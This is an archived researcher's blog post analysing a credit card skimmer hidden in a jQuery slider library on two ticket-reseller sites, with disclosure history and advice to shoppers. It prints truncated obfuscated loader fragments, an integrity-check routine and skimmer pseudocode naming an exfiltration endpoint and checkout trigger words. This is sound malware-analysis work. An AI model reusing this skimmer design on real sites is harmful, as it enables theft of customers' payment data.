Ticket resellers infected with a credit card skimmer – Max Kersten

Published: 2020-01-20 · Archived: 2026-04-02 12:41:10 UTC

First and foremost I'd like to thank Jacob Pimental since he posted the initial lead, after which we joined forces to dive into this case. In his now deleted Tweet, he asked if anybody could help out with a potential credit card skimmer on the OlympicTickets2020 website.

Background information

Before diving into this case, I'll highlight the modus operandi that most credit card skimmers use. There are certain JavaScript files that are loaded on all web pages. Prime examples of this are jQuery or Bootstrap libraries. Since they are present on all pages, these files are the perfect target to also contain the JavaScript based credit card skimmer code. Essentially, the visitor will run this code on every web page that is visited.

Enumerating and breaching websites takes time, and the skimmer's life span is of unknown duration. The code could be detected within a few hours, or stay there for months. To increase the effectiveness of the skimmer, actors try to breach content delivery networks that host the commonly used libraries. Whilst this approach brings greater income, it will likely lead to a faster detection, as the online presence of the script is much bigger. Note that not all sites that use the infected library are e-commerce shops.

At last, the skimmers are generally obfuscated to make it harder for detection mechanisms to detect the code.

Back to the case

Based on Jacob's suspicion, I took a look at the given JavaScript file. This file (located at */dist/slippry.min.js*) contained a small description, together with code. The description is given below.

```
/** @preserve
 *
 * slippry v1.4.0 - Responsive content slider for jQuery
 * http://slippry.com
 *
 * Authors: Lukas Jakob Hafner - @saftsaak
 *          Thomas Hurd - @SeenNotHurd
 *
 * Copyright 2016, booncon oy - http://booncon.com
 *
 *
 * Released under the MIT license - http://opensource.org/licenses/MIT
 */
```

Per the header, the script should contain a responsive content slider for jQuery. After beautifying the script, the aforementioned modus operandi became apparent. An existing piece of JavaScript was abused to hide the malicious code. In this case, the library was hosted on the targeted site itself. There is no information as to how the malicious code got appended to the library.

Stage 1 – The loader

The complete file *slippry* file can be defined in the below given pseudo code.

```
/**
 * Description
 */
function sliderfunctionX() { ... }

function sliderfunctionY() { ... }

//...

(function skimmer() { ... })()
```

The original code was left untouched, and the skimmer function would be executed the moment the rest of the JavaScript was loaded.

When retrieving the function definition of the skimmer, it reminded me of a blog post I wrote about the Magecart skimmer in March 2019. The structure of the loader is, aside from the random variable names and script content, exactly the same. For a complete and in-depth overview, I can advise to read the above-mentioned write-up.

The complete first stage consists garbage code, string obfuscation, string concatenation operations, and a decryption routine. The structure is given below in pseudo code.

```
var a = "encryptedScriptPart1" + "encryptedScriptPart2";
var b = "encryptedScriptPart3";
var encryptedScript = document["cr" + (74 > 4 ? "\x65" : "\x60") + "ateEle" + "m" + (81 > 6 ? "\x65"
var encryptedScript = a + b;
var script = "";
for (var i = 0; i < script.length; i++) {
  //decryption routine to fill script with the decrypted content of encryptedScript
}
constructor(script);
```

Practically, this looked a little bit less readable, as can be seen in the excerpt below.

```
var I80 = "0a0w0w0w0w0w0w0w0w0w0w0w2u39322r382x333 20w2w2" + "w14382t3c38153f0a0w0w0w0w0w0w0w0w0w0
var yc8 = "z2l1b2v180y0y1515152. j0y380y17141j1h1q1f1k1r";;
var C46 = document["cr" + (74 > 4 ? "\x65" : "\x60") + "ateEle" + "m" + (81 > 6 ? "\x65" : "\x5b") +
```

```
var TLM = "";;
for (var W5A = ("KL4b>q5\x7fE%\x87XHl=i" ["charCodeAt"](2) * 0 + 0.0); W5A < C46["l" + (59 > 0 ? "\x
        TLM += String["fromC" + String.fromCharCode(104) + "ar" + "Cod" + (93 > 16 ? "\x65" : "\x5b"
};
W4L = "34302p2r2t0y2l141b2j1l391u262k2j321g2k1q2q. 2";;
ih3["" + String.fromCharCode(116) + "oStri" + "" + String.fromCharCode(110) + "g"] = NbZ["c" + Strin
```

The variable named *TLM* contains all the code for the second stage. As such, one can print the content of the variable and remove the line where the constructor is invoked. Runing the code in the browser's console or using *node* from the terminal suffices.

Stage 2 – The skimmer

The second stage contains the actual skimmer in obfuscated form, together with an integrity check, string obfuscation, and dead code insertion.

The integrity check is done to verify that the script is not altered. In the code below, the hashing function is given, together with the integrity check.

```
function hh(text) {
    if (text.length == 0) return 0;
    var hash = 0;
    for (var i = 0; i < text.length; i++) {
        hash = ((hash << 5) - hash) + text.charCodeAt(i);
        hash = hash & hash;
    }
    return hash % 255;
}
var body = window.bAQ.toString().replace(/[^a-zA-Z0-9\-"]+/g, "");
var crc = body.match(/aeh3jiqq7nr76my8hfmg([\w\d\-]+)"/g)[0].replace("aeh3jiqq7nr76my8hfmg", "");
crc = crc.substr(0, crc.length - 1);
body = hh(body.replace("aeh3jiqq7nr76my8hfmg" + crc, "aeh3jiqq7nr76my8hfmg")) == crc ? 1 : window["s
```

The dead code can easily be recognised, as it is not used anywhere else. A variable that is only declared and instantiated can just as well be removed. The string obfuscation can easily be removed by copying code into the browser's console and using the generated output. An example is given below.

```
JZO = ("nLe+." ["length"] * 63 + 0.0);
var fl7 = ("C\x88bSIM\x81-c3" ["charCodeAt"](4) * 6 + 39.0);
var ufN = "(ht;X5y<rSmX-F6gOq3zOI" ["replace"](/[\<Orh6m\;\(5\-3]/g, "");
```

The variables names of the original script weren't randomised and contained names like *gatelink* or *nowwork*. The deobfuscated result is a clear skimmer. So clean, that directly sharing it feels irresponsible, as one only needs to alter two variables to make it work again. As such,I'll only provide the pseudo code to explain the inner workings.

```
var gatelink = "https://opendoorcdn.com/cdn/font.js";
var method = "POST"
var thisdomain = window["location"]["host"] || "nodomain";
var datacollect = false;
var cachelenght = 50;
var nowwork = true;

function removeLocalStorageData() { ... }

function resetLocalStorageData() { ... }

function getValuesFromFields() { ... }

function exfiltrateData() { ... }

function addEventListeners() { ... }

if (("/onepage|checkout|store|cart|pay|panier|kasse|order|billing|purchase|basket/")["test"](window[
    nowwork = true;
    if (nowwork) {
        addEventListeners();
        if (localStorage["getItem"]("_google.verify.cache.001") !== null && localStorage["getItem"](
            resetLocalStorageData();
            window["addEventListener"]("unload", exfiltrateData());
        }
    } else {
        removeLocalStorageData();
    }
}
```

Note that the keyword function is not executable in the current form. This is done intentionally, as this pseudo code only serves to show the skimmer's functionality. It is not intended to serve as a proof-of-concept piece of code.

Only if the current website contains one of the trigger words, the skimmer becomes active. It adds event listeners to all forms on the website, base64 encodes the data. If the amount of captured data is more than 50 characters, an additional event listener is created to execute the *exfiltrateData* function just before the page unloads. Upon confirming the order, and just before leaving the page, the data is exfiltrated to the given domain using a *POST* request. As a result, the customer's details are skimmed.

On the payment page of the targeted sites, the word *order* is present in the URL, meaning the skimmer would activate.

Connecting the dots

After making sure that the skimmer was indeed present, there were two questions left. Since the infection did not occur via a CDN, it is hard to find out how widespread this infection is. Secondly, we wanted to know how long the skimmer had been in place.

Finding other sites

Jacob searched for the JavaScript library's hash on UrlScan, which can be found here. This shows that this specific file is also present on another site: *eurotickets2020.com*. The lay-out and looks of the two sites are rather familiar. When looking on the about page, the same owner can be found. Additionally, the phone number for customer support is also the same.

Dating back the infection

To find the first observations of the skimmer in the wild, I tried my luck on the Wayback Machine and found one hit for each site. The skimmer on the OlympicTickets site was indexed on the third of December 2019, as can be seen here. The skimmer on the EuroTickets site was indexed on the seventh of January 2020, as can be seen here.

At the time of writing (the 21st of January 2020), this skimmer has been active for 50 days (or 15 days in case of the EuroTickets site). The skimmer was taken down from both OlympicTickets and EuroTickets during the writing of this article, making the mentioned days the total amount of days that the skimmer was present.

As one can see in this copy in the Wayback Machine, the website's layout is partially broken due to the lack of the jQuery library. It is still referenced in the code, but it does not exist on the server right now.

The next step was to contact the site's owners with our findings in a responsible manner.

Responsible disclosure

Before posting these details online, one should contact the company to resolve the problem at hand. This also gives them some time to issue a statement to their customers. On the other hand, you cannot wait for an extended period of time if the company does not respond (or does not acknowledge the problem), as this puts the customers in danger longer than need be.

Directly after our findings, we e-mailed them via the provided e-mail address, we Tweeted to both OlympicTickets and EuroTickets to inform them of the skimmer.

Since there was no response on any of these during the weekend, I contacted them on Monday morning via their live chat support system. The first contact was not followed up upon after leaving my phone number. The second contact via the live chat provided us with the information that the security team could not find anything, after which the case was closed. Jacob gave them a call with the request to look into it again.

The day after, I contacted them again via the live chat system. Despite our instructions, the security team could not find the skimmer. This again lead to the closure of the ticket. During that evening, the script got removed from the site.

Conclusion

If you have shopped at either *olympictickets2020.com* or *eurotickets2020.com* between the third of December 2019 and the 21st of January 2020, your credit card credentials are likely to be compromised. Please request a new credit card and contact your bank accordingly. Also note that all information that was entered on the site's payment form was stolen by the credit card skimmer and should be considered compromised.

I'd like to thank Jacob for the splendid cooperation during our work on this case. Even though we live in different time zones, as well as the fact that we only conversed via chat, we worked on the case simultaneously and in parallel where possible.

To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on BlueSky @maxkersten.nl.
